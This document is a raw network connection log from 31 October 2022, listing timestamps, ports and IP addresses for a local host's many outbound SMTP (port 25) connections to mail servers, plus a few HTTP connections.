Oct 31, 2022 12:20:18.775768995 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:18.776134968 CET	49873	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:18.779300928 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:18.779557943 CET	49874	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:18.780675888 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:18.780847073 CET	49873	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:18.809758902 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:18.809792042 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:18.809808969 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:18.809819937 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:18.809830904 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:18.809859037 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:18.809875011 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:18.809916019 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:18.809932947 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:18.809950113 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:18.809967041 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:18.809984922 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:18.810002089 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:18.810018063 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:18.810034037 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:18.810051918 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:18.810055971 CET	49873	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:18.810070992 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:18.810163975 CET	49873	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:18.812944889 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:18.814125061 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:18.814193010 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:18.843482971 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:18.843511105 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:18.843523979 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:18.843532085 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:18.843539953 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:18.843548059 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:18.843569994 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:18.843580961 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:18.843595028 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:18.843950033 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:18.843987942 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:18.844005108 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:18.844018936 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:18.844034910 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:18.844050884 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:18.844065905 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:18.844080925 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:18.844096899 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:18.856406927 CET	25	49872	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:18.874157906 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:18.874244928 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:18.874264002 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:18.874283075 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:18.874310970 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:18.874330044 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:18.874346972 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:18.874365091 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:18.874393940 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:18.874425888 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:18.874463081 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:18.874490976 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:18.874519110 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:18.874547005 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:18.874572992 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:18.874609947 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:18.874636889 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:18.874663115 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:18.874690056 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:18.874701977 CET	49869	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:18.874701977 CET	49869	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:18.899094105 CET	49872	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:19.241185904 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:19.241246939 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:19.241276979 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:19.241305113 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:19.241333008 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:19.241362095 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:19.241393089 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:19.241425037 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:19.241455078 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:19.241488934 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:19.241518021 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:19.241544962 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:19.241564035 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:19.241583109 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:19.241610050 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:19.241637945 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:19.241667032 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:19.241694927 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:19.481476068 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:19.563652039 CET	49869	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:19.563654900 CET	49872	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:19.622989893 CET	25	49872	94.100.180.31	192.168.2.5
Oct 31, 2022 12:20:19.623120070 CET	49872	25	192.168.2.5	94.100.180.31
Oct 31, 2022 12:20:19.876667023 CET	49874	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:19.876754999 CET	49873	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:19.910491943 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:19.910531044 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:19.910550117 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:19.910572052 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:19.910603046 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:19.910623074 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:19.910643101 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:19.910662889 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:19.910682917 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:19.910702944 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:19.910725117 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:19.910775900 CET	49874	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:19.910780907 CET	49873	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:19.910775900 CET	49874	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:19.910775900 CET	49874	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:19.910851955 CET	49874	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:19.910851955 CET	49874	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:19.910851955 CET	49874	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:19.910871983 CET	49874	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:19.934756994 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:19.943975925 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:19.944000959 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:19.944013119 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:19.944025993 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:19.944036961 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:19.944048882 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:19.944061041 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:19.944072962 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:19.944083929 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:19.944094896 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:19.944108009 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:19.944119930 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:19.944125891 CET	49874	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:19.944132090 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:19.944144964 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:19.944186926 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:19.944201946 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:19.944215059 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:19.944227934 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:19.944262028 CET	49874	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:19.944300890 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:19.944305897 CET	49874	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:19.944313049 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:19.944325924 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:19.945575953 CET	49876	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:19.955550909 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:19.955668926 CET	49873	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:19.972498894 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:19.972598076 CET	49876	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:19.977122068 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:19.977145910 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:19.977160931 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:19.977175951 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:19.977230072 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:19.977247000 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:19.977262974 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:19.977277994 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:19.977313995 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:19.977332115 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:19.977348089 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:19.977363110 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:19.977380037 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:19.977396011 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:19.977412939 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:19.978799105 CET	49877	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:19.994448900 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:19.997152090 CET	25	49873	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:19.997253895 CET	49873	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:20.001064062 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.001374960 CET	49876	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:20.028570890 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.033987999 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.034290075 CET	49876	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:20.037139893 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:20.037205935 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:20.037360907 CET	49874	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:20.040582895 CET	49874	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:20.061739922 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.061906099 CET	49876	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:20.073962927 CET	25	49874	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:20.079610109 CET	49878	25	192.168.2.5	173.194.76.27
Oct 31, 2022 12:20:20.093359947 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.096497059 CET	25	49869	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:20.096591949 CET	49869	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:20.114640951 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.114994049 CET	49878	25	192.168.2.5	173.194.76.27
Oct 31, 2022 12:20:20.150851011 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.155602932 CET	49878	25	192.168.2.5	173.194.76.27
Oct 31, 2022 12:20:20.188508987 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.192714930 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.193002939 CET	49878	25	192.168.2.5	173.194.76.27
Oct 31, 2022 12:20:20.226290941 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.226645947 CET	49878	25	192.168.2.5	173.194.76.27
Oct 31, 2022 12:20:20.235117912 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.235539913 CET	49876	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:20.262821913 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.263309002 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.264740944 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.264851093 CET	49876	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:20.278860092 CET	49876	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:20.296560049 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.306175947 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.306202888 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.306210995 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.306220055 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.306227922 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.306236029 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.306242943 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.306250095 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.306262970 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.306273937 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.306557894 CET	49876	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:20.306663990 CET	49876	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:20.306937933 CET	49876	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:20.335124969 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.335177898 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.335192919 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.335206985 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.335247993 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.335263968 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.335278988 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.335294008 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.335308075 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.335324049 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.335339069 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.335354090 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.335371017 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.335386992 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.335388899 CET	49876	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:20.335402012 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.335416079 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.335429907 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.335447073 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.335499048 CET	49876	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:20.346133947 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:20.346360922 CET	49877	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:20.362605095 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.362643957 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.362665892 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.362683058 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.362698078 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.362714052 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.362799883 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.362817049 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.362832069 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.362848043 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.362864017 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.362910986 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.362929106 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.362937927 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.362953901 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.362965107 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.362974882 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.362984896 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.368788958 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.369096994 CET	49876	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:20.369961977 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.370222092 CET	49878	25	192.168.2.5	173.194.76.27
Oct 31, 2022 12:20:20.396795988 CET	25	49876	142.250.153.26	192.168.2.5
Oct 31, 2022 12:20:20.396956921 CET	49876	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:20:20.402904987 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.403512955 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.403834105 CET	49878	25	192.168.2.5	173.194.76.27
Oct 31, 2022 12:20:20.407329082 CET	49878	25	192.168.2.5	173.194.76.27
Oct 31, 2022 12:20:20.440242052 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.440294027 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.440334082 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.440455914 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.440504074 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.440577984 CET	49878	25	192.168.2.5	173.194.76.27
Oct 31, 2022 12:20:20.440665007 CET	49878	25	192.168.2.5	173.194.76.27
Oct 31, 2022 12:20:20.440665007 CET	49878	25	192.168.2.5	173.194.76.27
Oct 31, 2022 12:20:20.445746899 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.446006060 CET	49878	25	192.168.2.5	173.194.76.27
Oct 31, 2022 12:20:20.473467112 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.473507881 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.473524094 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.473537922 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.473579884 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.473598003 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.473614931 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.473630905 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.473647118 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.473665953 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.473681927 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.473697901 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.473712921 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.473728895 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.473747015 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.473762989 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.473781109 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.473778963 CET	49878	25	192.168.2.5	173.194.76.27
Oct 31, 2022 12:20:20.473778963 CET	49878	25	192.168.2.5	173.194.76.27
Oct 31, 2022 12:20:20.473871946 CET	49878	25	192.168.2.5	173.194.76.27
Oct 31, 2022 12:20:20.478863001 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.478916883 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.506700039 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.506740093 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.506761074 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.506772995 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.506793976 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.506814003 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.506833076 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.506851912 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.506870031 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.506906033 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.506926060 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.506946087 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.506966114 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.506987095 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.507005930 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.507018089 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.507038116 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.507057905 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.574206114 CET	80	49841	199.59.243.222	192.168.2.5
Oct 31, 2022 12:20:20.574409008 CET	49841	80	192.168.2.5	199.59.243.222
Oct 31, 2022 12:20:20.576641083 CET	49841	80	192.168.2.5	199.59.243.222
Oct 31, 2022 12:20:20.592475891 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.592662096 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.592674017 CET	49878	25	192.168.2.5	173.194.76.27
Oct 31, 2022 12:20:20.592784882 CET	49878	25	192.168.2.5	173.194.76.27
Oct 31, 2022 12:20:20.595155001 CET	80	49841	199.59.243.222	192.168.2.5
Oct 31, 2022 12:20:20.625368118 CET	25	49878	173.194.76.27	192.168.2.5
Oct 31, 2022 12:20:20.628706932 CET	49880	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:20.645401955 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:20.645652056 CET	49877	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:20.750853062 CET	49884	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:20.877350092 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:20.877878904 CET	49877	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:20.905998945 CET	25	49884	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:20.906286955 CET	49884	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:20.990212917 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:20.990391970 CET	49880	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:21.242511034 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:21.292943954 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:21.293042898 CET	49880	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:21.409396887 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:21.409662008 CET	49877	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:21.524986029 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:21.557900906 CET	49880	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:21.774364948 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:21.921344042 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:21.938997984 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:21.940268993 CET	49877	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:22.093851089 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:22.094005108 CET	49880	25	192.168.2.5	74.125.200.27
